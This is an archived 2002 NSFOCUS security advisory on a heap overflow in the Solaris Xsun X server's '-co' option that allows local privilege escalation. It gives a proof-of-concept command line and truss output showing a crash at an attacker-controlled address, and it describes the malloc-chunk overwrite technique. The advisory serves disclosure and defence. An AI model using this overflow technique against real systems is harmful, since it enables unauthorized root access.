The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


NSFOCUS SA2002-01: Sun Solaris Xsun "-co" heap overflow


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 02 Apr 2002 15:34:51 +0800
From: Nsfocus Security Team <[email protected]>
To: [email protected]
Subject: NSFOCUS SA2002-01: Sun Solaris Xsun "-co" heap overflow

NSFOCUS Security Advisory(SA2002-01)

Topic:  Sun Solaris Xsun "-co" heap overflow

Release Date: 2002-4-02

CVE CAN ID : CAN-2002-0158

Affected system:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

 - Sun Solaris 2.6 (SPARC/x86)
 - Sun Solaris 7   (SPARC/x86)=20
 - Sun Solaris 8   (SPARC/x86)=20

Impact:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D

NSFOCUS Security Team has found a buffer overflow vulnerability in Xsun shi=
ped=20
with Solaris system when processing a command line parameter "-co", which c=
ould
enable a local attacker to run arbitrary code with root user/root group=20
privilege.

Description:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Xsun is an Xwindow server (for X11) on Solaris platform. It is installed in=
=20
/usr/openwin/bin/. On SPARC platform, it is configured to have setgid root=
=20
attribute, and it is configured to have setuid root attribute on x86 platfo=
rm.

Xsun supports a command line parameter "-co" to specify color database file.
But the application does not perform length check of filename inputted by u=
ser,
which would be used by an attacker to cause heap overflow. With carefully
constructed data, an attacker might be able to run arbitrary code with root
privilege.

In case that the attacker provide an overlong filename (for example, longer
than 6000 bytes) for the "-co", it would overflow a dynamic allocated buffe=
r.
The attacker could modify arbitrary memory address (such as saved return=20
address, and function pointer, etc.) with some features of malloc()/free()=
=20
implementation by overwriting the border data structure of the next=20
dynamic memory chunk.

On SPARC platform, attacker could obtain root group privilege; on x86
platform, attacker could obtain root user privilege.


Exploit:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

[root@ /tmp]> uname -a
SunOS sun8 5.8 Generic sun4u sparc SUNW,Ultra-5_10
[root@ /tmp]> truss /usr/openwin/bin/Xsun :1 -co `perl -e 'print "A"x6000'`
=2E....
mmap(0x00000000, 8404992, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_NORESERVE, =
4, 0) =3D 0xFE400000
mprotect(0xFE400000, 8192, PROT_NONE)           =3D 0
mprotect(0xFEC02000, 8192, PROT_NONE)           =3D 0
open64("A...AAAAA", O_RDONLY) Err#78 ENAMETOOLONG
Couldn't open RGB_DB 'write(2, " C o u l d n ' t   o p e".., 22)        =3D=
 22
AAA...AAAAAAAAAAAAAAAAAAAAAAAAAAwrite(2, " A A A A A A A A A A A A".., 6000=
)    =3D 6000
'
write(2, " '\n", 2)                             =3D 2
getpid()                                        =3D 21677 [21676]
getrlimit(RLIMIT_NOFILE, 0xFFBEE3F8)            =3D 0
setrlimit(RLIMIT_NOFILE, 0xFFBEE3F8)            =3D 0
uname(0xFFBEDB30)                               =3D 1
getrlimit(RLIMIT_NOFILE, 0xFFBEE128)            =3D 0
so_socket(2, 2, 0, "", 1)                       =3D 0
setsockopt(0, 6, 1, 0xFFBEE124, 4, 1)           =3D 0
setsockopt(0, 65535, 8, 0xFFBEE120, 4, 1)       =3D 0
setsockopt(0, 65535, 4, 0xFFBEE194, 4, 1)       =3D 0
bind(0, 0xFFBEE1B8, 16, 3)                      =3D 0
setsockopt(0, 65535, 128, 0x00175D40, 8, 1)     =3D 0
listen(0, 5, 1)                                 =3D 0
getsockname(0, 0xFFBEE144, 0xFFBEE154, 1)       =3D 0
uname(0xFFBEDB30)                               =3D 1
    Incurred fault #5, FLTACCESS  %pc =3D 0xFECC14C8
      siginfo: SIGBUS BUS_ADRALN addr=3D0x41414141
    Received signal #10, SIGBUS [default]
      siginfo: SIGBUS BUS_ADRALN addr=3D0x41414141
        *** process killed ***

Workaround:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Temporarily remove the suid root or sgid root attribute of Xsun:

# chmod a-s /usr/openwin/bin/Xsun


Vendor Status:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

2001.8.08  We have informed Sun of this problem.
2001.8.08  Sun replied that they have forward the problem to corresponding
           team, but no further response up to now.
          =20
In our testing, Xsun with the latest security patch still has the problem.

Additional Information:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The Common Vulnerabilities and Exposures (CVE) project has=20
assigned the name CAN-2002-0158 to this issue. This is a=20
candidate for inclusion in the CVE list (http://cve.mitre.org),
which standardizes names for security problems.  Candidates=20
may change significantly before they become official CVE entries.

DISCLAIMS:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
THE INFORMATION PROVIDED IS RELEASED BY NSFOCUS "AS IS" WITHOUT WARRANTY
OF ANY KIND. NSFOCUS DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED,=
=20
EXCEPT FOR THE WARRANTIES OF MERCHANTABILITY. IN NO EVENTSHALL NSFOCUS=20
BE LIABLE FOR ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT,=20
INCIDENTAL,CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES,=20
EVEN IF NSFOCUS HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.=20
DISTRIBUTION OR REPRODUTION OF THE INFORMATION IS PROVIDED THAT THE=20
ADVISORY IS NOT MODIFIED IN ANY WAY.

Copyright 1999-2002 NSFOCUS. All Rights Reserved. Terms of use.


NSFOCUS Security Team <[email protected]>
NSFOCUS INFORMATION TECHNOLOGY CO.,LTD
(http://www.nsfocus.com)
=20

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру